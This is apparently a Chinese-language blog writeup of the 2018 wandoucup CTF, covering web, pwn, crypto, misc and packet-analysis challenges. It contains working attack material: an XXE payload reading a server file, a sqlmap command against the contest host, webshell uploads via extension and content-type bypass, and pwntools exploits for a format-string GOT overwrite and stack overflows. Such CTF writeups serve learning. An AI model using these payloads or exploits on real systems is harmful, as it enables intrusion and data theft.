title: wandoucup-ctf
date: 2018-10-28 14:01:54
tags: [CTF,Pwn,流量分析]
categories: CTF
wandoucup-ctf
這兩天在打一個稍微簡單的CTF,寫個writeup記錄一下被虐的過程😭,總的來說這場小賽是個大雜燴,畢竟你懂的😏,作為做題者我們當然是有題做就ok的。
由於比賽后環境關閉,所以有的無圖片展示,現有的圖片是下午就准備寫writeup截的圖。
web
web1-簽到題
跟某幾個ctf練習平台上面的滑稽題一樣:
一鍵獲取flag😄。
web2-輸入密碼查看flag
簡單瀏覽一下,就是一個爆破的題:
密碼為五位數,那我們直接上burpsuite咯:設置長度和payload字符:
GET FLAG!
web3-這真能傳馬?
簡單地抓包修改參數,從而使得自己能夠傳php,我直接上了一個大馬,然后看/opt/flag.txt。
抓包可以看到url中的ext參數傳遞的是文件類型,猜測是可以修改,我們加個php到中間即可成功地直接上傳webshell(很摳腳)。
然后再修改一下content-type即可:
To /opt/flag.txt get flag==>😄

web4-這真能注入?
題目鏈接
瀏覽一下,加個單引號試試就一個很明顯的注入咯:
直接sqlmap注入即可,
sqlmap -u http://101.231.137.47:20004/php/index.php?gid=1 --dbs得到數據庫名后直接逐步指定數據庫表,指定字段,dump即可。
由於比賽后服務已經關閉故未能截取成功圖片。
web5-API
這題是xxe外部實體注入,通過抓包,修改POST數據以及Content-type從而讀取到/tmp/flag.txt。
XXE漏洞就是服務器接受從客戶端發送來的xml格式數據時,xml數據中惡意的引用了外部實體,將它的值綁定為服務器的目標文件,這樣在服務器返回給我們解析后的值時,就會把目標文件的內容返回給我們,從而讀取敏感文件內容。
題目原本傳輸的
Content-type: application/json改為Content-type: application/xml,並將POST的數據改為以下xml代碼:<?xml version=”1.0″?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM “file:///tmp/flag.txt”> ]> <something>&xxe;</something>然后發送數據包,就可得到api返回的flag了。
web6-sweet home
這道題有點東西,一步一步深入,到最后一個提示放出之后幾分鍾,迅速拿到flag。
步驟:登錄和注冊界面需要寫腳本拋出對應規則的code,然后通過目錄遍歷得到部分頁面源碼以及一個目錄(分別是
user.php~,config.php~,adminpic),根據源碼可以得知adminpic是admin用戶上傳文件的一個目錄,並且我們可以得到數據庫賬號密碼,全端口掃描得到23306端口為數據庫服務端口,登陸后得到admin賬戶密碼,經過大半天的破解md5之后,得到提示crypto.html,這是一個指定的解密md5的頁面,輸入admin密碼hash值破解得到提示crypto.png,訪問得到二維碼,掃描即可獲得密碼wandouxueyuan:),用此密碼可登錄admin賬戶,來到上傳圖片publish頁面,結合前面遍歷得到的一個adminpic目錄可以知道上傳文件在此目錄中,經過簡單的繞過后上傳大馬即可。傻傻的我還嘗試文件包含,session_decode,以及register注冊等等操作。

傳完馬后訪問/adminpic目錄即可看到自己上傳的文件,從而getshell拿到flag:

web附加題-atom
這道web加餐題,實際上就是用給的賬戶密碼登錄后將cookie中的
admin=0改為admin=1,然后會跳轉到一個后台,然后查看后台源碼即可得到真正的flag。
Pwn
三個pwn都非常經典,分別考察格式化字符串漏洞,簡單的溢出,以及ret2sys幾個知識點。
pwn1--格式化字符串漏洞
通過用IDA簡單地分析一下邏輯,可以看到printf處存在格式化字符串漏洞:
#vuln_fun函數偽c代碼
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-7Ch]
int v5; // [esp-8h] [ebp-78h]
int v6; // [esp-4h] [ebp-74h]
int format; // [esp+0h] [ebp-70h]
int v8; // [esp+4h] [ebp-6Ch]
int v9; // [esp+8h] [ebp-68h]
int v10; // [esp+Ch] [ebp-64h]
int v11; // [esp+10h] [ebp-60h]
int v12; // [esp+14h] [ebp-5Ch]
int v13; // [esp+18h] [ebp-58h]
int v14; // [esp+1Ch] [ebp-54h]
int v15; // [esp+20h] [ebp-50h]
int v16; // [esp+24h] [ebp-4Ch]
int v17; // [esp+28h] [ebp-48h]
int v18; // [esp+2Ch] [ebp-44h]
int v19; // [esp+30h] [ebp-40h]
int v20; // [esp+34h] [ebp-3Ch]
int v21; // [esp+38h] [ebp-38h]
int v22; // [esp+3Ch] [ebp-34h]
int v23; // [esp+40h] [ebp-30h]
int v24; // [esp+44h] [ebp-2Ch]
int v25; // [esp+48h] [ebp-28h]
int v26; // [esp+4Ch] [ebp-24h]
int v27; // [esp+50h] [ebp-20h]
int v28; // [esp+54h] [ebp-1Ch]
int v29; // [esp+58h] [ebp-18h]
unsigned int v30; // [esp+64h] [ebp-Ch]
int *v31; // [esp+6Ch] [ebp-4h]
v31 = &argc;
v30 = __readgsdword(0x14u);
memset(&format, 0, 0x64u);
__isoc99_scanf(
0,
(int)&format,
(int)"%s",
(int)&format,
v4,
v5,
v6,
format,
v8,
v9,
v10,
v11,
v12,
v13,
v14,
v15,
v16,
v17,
v18,
v19,
v20,
v21,
v22,
v23,
v24,
v25,
v26,
v27,
v28,
v29);
printf((const char *)&format); //格式化字符串漏洞
fflush(_bss_start); //覆蓋got表中fflush條目指向的地址,將其指向read_flag函數
return 0;
}
簡單運行一下,我們可以構造語句:aaaa-%p-%p-%p-%p-%p-%p-%p-%p,然后輸入得到:

可以看到我們的輸入被放在了printf函數棧中的第6個位置(這里的%p是c/c++中格式化字符串的參數),格式化字符串漏洞最主要的危害就是可以獲取任意地址內容,或者實現任意地址寫,那么我們這就是通過任意地址寫,來覆蓋got表,之前的練習記錄中就提到了這些知識。
既然知道了利用位置,那么直接利用pwntools構造exp:
#coding:utf-8
from pwn import *
context.log_level = "debug"
#io = process('./200')
elf = ELF('./200')
io = remote('101.231.137.47','20010')
#read_flag_addr = 0x0804859B
read_flag_addr = elf.sym['read_flag']
#bss_addr = 0x0804A034
got_printf_addr = 0x0804A00c
got_fflush_addr = 0x0804A010
#覆蓋fflush地址指向的內容,從而實現read_flag跳轉
payload = fmtstr_payload(6, {got_fflush_addr: 0x0804859B})
io.sendline(payload)
io.interactive()
exp效果:

pwn2--棧溢出
簡單的棧溢出啦,很常見的,找到溢出點然后把EIP指向我們的
win函數地址即可:
通過
gdb-peda,pattern模塊,找到溢出偏移量為76,也就是說只需要構造76*'a' + win_addr即可:
構造exp:
#coding:utf-8
from pwn import *
context.log_level = "debug"
#ida中有win函數的地址
win_addr = 0x08048488
#io = process('101.231.137.47',20011)
io = process('./100')
payload = 76*'a' + p32(win_addr)
io.send(payload)
io.interactive()
io.close()
運行效果(因為環境已經關閉,所以只能展示本地效果):

pwn3--ret2syscall
pwn3的話稍微比上面兩題要難上一點點,不過還在我這個萌新的承受范圍之內,先檢查一下保護措施:
可以看到只是開了棧不可執行 (NX),靜態分析一波:
這里我們也可以看到一個win_func函數,猜測同樣是利用返回到該函數從而得到flag,那么如何返回到這個win_func函數呢?
我們注意到mem_test函數偽c代碼如下:
直接
return result,那么如果有溢出存在,那我們能不能覆蓋掉這個函數的返回地址呢,那當然是可行的(這題不能直接用pattern create得到偏移量,如果pattern過大則會導致無法覆蓋eip),用gdb在mem_test函數下斷點調試:
然后根據之前ida分析變量s的位置為
ebp-0x13,我們可以知道,ebp = 0xffffd145 +0x13 = 0xffffd158,或者直接在gdb看ebp的值,可以知道0x8048718就是return返回的地址。我們需要將它覆蓋成win_func的地址。
而catflag地址就是一開始輸出的那個hint:
0x080487E0
構造exp:
#coding:utf-8
Author = "Yof3ng"
from pwn import *
import sys
context.binary = "./memory"
context.log_level = 'debug'
elf = context.binary
#io = process("./memory")
io = remote('101.231.137.47','20012')
catflag = 0x080487E0
system_addr = elf.sym['win_func']
print(system_addr)
#padding由棧空間和ebp(0x13+4)組成,system('cat flag')由system函數和catflag參數以及system返回地址組成
payload = flat(cyclic(0x17), system_addr, 0x08048677, catflag)
print(payload)
io.sendline(payload)
io.interactive()
運行效果:

Crypto
Crypto1-我這密碼忘了。。。
題面有一串base64:VTBzNE9GZEhURWhDVjBveFVrMVVTell4UkRKWU5FTTFRMGszUmtrd1ZFVT0=
連續解碼即可得到:SK88WGLHBWJ1RMTK61D2X4C5CI7FI0TE
提交即可。
Crypto2-二戰時期的密碼
據說是某平台原題,甚至專門去查了一下二戰時期的密碼學,題面:
已知將一個flag以一種加密形式為使用密鑰進行加密,使用密鑰WELCOMETOCFF加密后密文為000000000000000000000000000000000000000000000000000101110000110001000000101000000001,請分析出flagWELCOMETOCFF為密鑰,長度為12,而二進制串長度為84,既然密文為二進制,那么可以想到的比較簡單的加密操作就是按位與,按位或,以及按位異或。
嘗試后發現是異或操作,將WELCOMETOCFF,分別用七位二進制表示其在字母表中的順序,並且每對應的七位進行異或操作:
密文 0000000 0000000 0000000 0000000 0000000 0000000 0000000 0010111 0000110 0010000 0010100 0000001 XOR 密鑰 W E L C O M E T O C F F 0010111 0000101 0001100 0000011 0001111 0001101 0000101 0010100 0001111 0000011 0000110 0000110 得到: 0010111 0000101 0001100 0000011 0001111 0001101 0000101 0000011 0001001 0010011 0010010 0000111 W E L C O M E C I S R G ==> flag{WELCOMECISRG}提交即可。
Crypto3-被黑了,求密碼
摩斯電碼解碼即可:
flag:JRQ058XMGC1I7PB4UNGA7BLNBCMS6YJ0
Crypto4-出航了~出航啦!!
根據題面,嘗試進行對請求類型進行過濾,發現POST請求只有一個,並且有userid和pswrd:
嘗試將pswrd的值解碼后提交flag,成功。
Crypto5-IDC密碼破解(未解出)
給出一串字符
js4163633181327481完全腦洞題:手機九鍵
4163633181327481,沒用過的咋活。。。
Crypto6-超級密碼
這題給出了大量的md5值,以及類似於base64格式的字符串,很容易就想到hash加鹽(salt)的問題,而且隱約記得之前在哪看到過這個題。
腳本爆破(時間原因,直接從1234567880開始):
# coding:utf-8 import hashlib from numba import jit @jit def run(): password =["f09ebdb2bb9f5eb4fbd12aad96e1e929.p5Zg6LtD","6cea25448314ddb70d98708553fc0928.ZwbWnG0j","2629906b029983a7c524114c2dd9cc36.1JE25XOn","2e854eb55586dc58e6758cfed62dd865.ICKTxe5j","7b073411ee21fcaf177972c1a644f403.0wdRCo1W","6795d1be7c63f30935273d9eb32c73e3.EuMN5GaH","d10f5340214309e3cfc00bbc7a2fa718.aOrND9AB","8e0dc02301debcc965ee04c7f5b5188b.uQg6JMcx","4fec71840818d02f0603440466a892c9.XY5QnHmU","ee8f46142f3b5d973a01079f7b47e81c.zMVNlHOr","e4d9e1e85f3880aedb7264054acd1896.TqRhn1Yp","0fd046d8ecddefc66203f6539cac486b.AR5lI2He","f6326f02adaa31a66ed06ceab2948d01.Aax2fIPl","720ba10d446a337d79f1da8926835a49.ZAOYDPR2","06af8bcc454229fe5ca09567a9071e62.hvcECKYs","79f58ca7a81ae2775c2c2b73beff8644.TgFacoR3","46aaa5a7fef5e250a2448a8d1257e9cf.GLYu0NO4","2149ac87790dd0fe1b43f40d527e425a.5Xk2O1sG","d15a36d8be574ac8fe64689c728c268e.aZikhUEy","ff7bced91bd9067834e3ad14cc1464cd.E7UROqXn","8cc0437187caf10e5eda345cb6296252.XPin3mVB","5cfcdca4a9cb2985a0b688406617689e.nsGqoafv","5a7dfa8bc7b5dfbb914c0a78ab2760c6.YC1qZUFR","8061d8f222167fcc66569f6261ddd3cc.wNgQi615","3d8a02528c949df7405f0b48afe4a626.CO2NMusb","70651acbc8bd027529bbcccdbf3b0f14.CAXVjFMd","a9dbe70e83596f2d9210970236bdd535.TL6sjEuK","9ed6ef5780f705ade6845b9ef349eb8f.tJ90ibsz","4b46fac0c41b0c6244523612a6c7ac4a.VTjOSNmw","8141e6ecb4f803426d1db8fbeb5686ef.lh75cdNC","df803949fd13f5f7d7dd8457a673104b.V39sEvYX","19052cc5ef69f90094753c2b3bbcd41d.YwoGExpg","cf8591bdccfaa0cdca652f1d31dbd70f.pJCLui49","66e10e3d4a788c335282f42b92c760a1.NQCZoIhj","94c3ae5bcc04c38053106916f9b99bda.vOktelLQ","e67e88646758e465697c15b1ef164a8d.x0hwJGHj","84d3d828e1a0c14b5b095bedc23269fb.2HVWe9fM","264a9e831c3401c38021ba3844479c3f.Cx4og6IW","ed0343dec184d9d2c30a9b9c1c308356.g2rqmPkT","ad5ba8dc801c37037350578630783d80.pFK2JDT5","3f588bedb704da9448e68fe81e42bca6.4ANDOiau","970c9cf3cad3dfa7926f53ccaae89421.R6ML7Qy8","e0a097b7cceaa7a8949fe039884e4a2d.dul2ynqL","7df505218102c64b1fe4fa5981ddb6fa.jPeoyS57","fd4f6043da1f7d5dca993c946ef6cd7c.6p9CwGaY","5fe6d99b9a2824949279187c246c9c30.OGQ2J57y","135b150ad513a961089bb1c05085a3d9.h0dw1Fro","ad6af4fb623b3c51181a371911667fed.HbQT4dRz","c9fa4b0db317d88e2b10060225e92494.ebVnpMzS","d0deab17d115bd6fdce8592bb3667643.bL5zwgvX","006f0cb3a422716692f143f28eb0d187.NHXg1Fof","ddc125de34da1a6ec0cbe401f147bc8f.GDai9Y0n","be5052053c5a806e8f56ed64e0d67821.40alyH3w","aaf18ac446b8c385c4112c10ae87e7dc.ZJQzuIL0","a2db20a4b7386dc2d8c30bf9a05ceef7.QnpOlPWH","8a4fbc32a3251bb51072d51969ba5d33.rtcbipeq","5e35d2c9675ed811880cea01f268e00f.i1Hbne6h","9da23007699e832f4e9344057c5e0bd3.EtbGpMSW","f09233683d05171420f963fc92764e84.fxHoinEe","4feabf309c5872f3cca7295b3577f2a8.KymkJXqA","9b94da2fa9402a3fdb4ff15b9f3ba4d2.G3Tdr1Pg","b3cd8d6b53702d733ba515dec1d770c5.Y71LJWZz","6a5b3b2526bb7e94209c487585034534.rIwb4oxt","e9728ef776144c25ba0155a0faab2526.e1sOXSb8","d41a5e7a98e28d76dbd183df7e3bcb49.36bedvia","81d5ebfea6aff129cf515d4e0e5f8360.dDG4qTjW"] n=1234567880 while(n<10000000000): for j in range(0,66): salt = password[j][33:] md5 = password[j][:32] mingwen = "{FLAG:"+str(n)+"}"+password[j][33:] miwen = hashlib.md5(mingwen.encode('utf-8')).hexdigest() if (miwen == md5) : print(mingwen) print(password[j]) n=10000000000 break print(n) n=n+1 run()運行效果:
flag:1234567890
Misc
Misc1-會飛的狗狗

直接查看文件內容可以得到末尾的base64字符串,接解碼得到flag

Misc2-文件類型分析
得到一個zip壓縮包,點開來看看,存在[content-types].xml文件,基本上可以確定是微軟公司office套件的格式。簡單試過doc,docx,ppt,pptx,xls,xlxs沒用之后,查到xps:
於是改為xps文件后綴即可,將xps提交。
Misc3-真真假假分不清楚
簡單的一個偽加密,修改全局加密標志位,將奇數改為偶數即可。
{FLAG:011938d495c36aeab4bfbd897c240d31}
Misc4-誘人的音樂
這題的音頻文件中存在一段摩斯電碼(有的同學通過二進制getflag),通過音頻分析軟件可以將其提取出來:
.--..--..--.--...--....-.--..---.----.--.--...--.--.-.....--...-.---.....---.-...---.-.-.--.---..--..-.-.-.-----..--.-.-..--..--.---.--..--..-.-.---..-..-----.-
#一次性解碼行不通,可以將其分為三段分別解碼並且將三個非正常字符轉為16進制:
.--..--..--.--...--....-.--..---.----.--.--...--.--.-...
晬61677b6368
晬 ==> 0x666c
..--...-.---.....---.-...---.-.-.--.---..--..-.-
ㅰ74756e65
ㅰ ==> 0x3170
.-.-----..--.-.-..--..--.---.--..--..-.-.---..-..-----.-
張337665727c
張 ==> 0x5f35
#進行拼接
666c61677b6368317074756e655f35337665727c
#可以得到
flag{ch1ptune_53ver|
#提交ch1ptune_53ver即可
Misc5-神秘的文件名(未解出)
可以通過binwalk得到一個逆向題,較難,未解出。
網絡協議分析
網絡協議分析1-數據包里有甜甜圈哦~
wireshark打開數據包后,依次使用以下過濾規則:
http contains flag
tcp contains flag
udp contains flag即可通過
udp contains flag查到flag。
網絡協議分析2-嘿嘿嘿(未解出)
經過瘋狂手動提取后發現只能獲得一絲圖片,賽后得知需要用tcpflow這個神器重構損害的tcp數據,從而得到圖像。
網絡協議分析3-thief
拿到數據包打開后發現大部分都是
802.11 wlan數據包,過濾一下http請求:
可以發現第一個請求的是
/rom-0,確實不知為何就覺得這個是關鍵,google搜索一下:
點進routerPwn發現是一個解壓rom-0文件的網址,那我們是不是還缺一個文件。接下來通過導出http對象,我們可以得到一個rom0文件,正好將其解密得到以下內容:
#猜測是用來解密的密鑰咯 Rome4040 TP-LINK public public public public在運用wireshark分析流量的過程中我們經常需要使用密鑰之類的東西來解密流量,此處同樣通過 查詢資料 可以獲得解密方式:
將密碼Rome4040導入解密,可以發現的確出現了很多http和tcp的包,根據題目提示使用過濾
http contains CTF得到flag:
🆒wandoucup-CTF-WP到此結束。
Publish by Yof3ng👌。

























